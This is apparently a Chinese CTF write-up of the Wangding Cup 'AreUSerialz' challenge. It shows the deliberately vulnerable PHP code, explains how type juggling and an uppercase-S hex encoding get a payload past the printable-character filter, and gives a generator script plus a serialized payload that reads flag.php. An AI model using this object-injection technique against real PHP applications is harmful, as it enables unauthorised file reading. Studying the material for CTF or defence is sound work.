看了網鼎杯 AreUSerialz反序列化題目wp
對php的反序列化又有了學到了新的知識點,之前都沒注意到
標題題目是這樣的:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
簡單看下代碼,反序列化漏洞
protect裏面可控
主要是繞過 is_vaild 函數,它規定了序列化內容中只能包含ascii可見字符
還有因爲在進行read()之前就會調用__destruct()魔術方法
__destruct()方法內使用了嚴格相等 this->op === “2” process()
方法內使用了else if ( this->op == “2”)
所以這裏使用弱類型2 == "2"繞過
第一種解法
出題用的php版本比較高,public屬性可以覆蓋替代protected
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "zeo";
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
$a = new FileHandler();
$b = serialize($a);
var_dump(is_valid($b));
print_r($b);
第二種解法
下面P牛之前的解釋
PHP序列化的時候private和protected變量會引入不可見字符\x00,輸出和複製的時候可能會遺失這些信息,導致反序列化的時候出錯。
private屬性序列化的時候會引入兩個\x00,注意這兩個\x00就是ascii碼爲0的字符。這個字符顯示和輸出可能看不到,甚至導致截斷,如圖1,url編碼後就可以看得很清楚了。
同理,protected屬性會引入\x00*\x00。
此時,爲了更加方便進行反序列化Payload的傳輸與顯示,我們可以在序列化內容中用大寫S表示字符串,此時這個字符串就支持將後面的字符串用16進製表示。比如s:5:“A<null_byte>B”;̀ -> S:5:“A\00B\09\0D”;
把序列號後的s變成S就可以了,裏面的字符就可以正常
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"loecho";}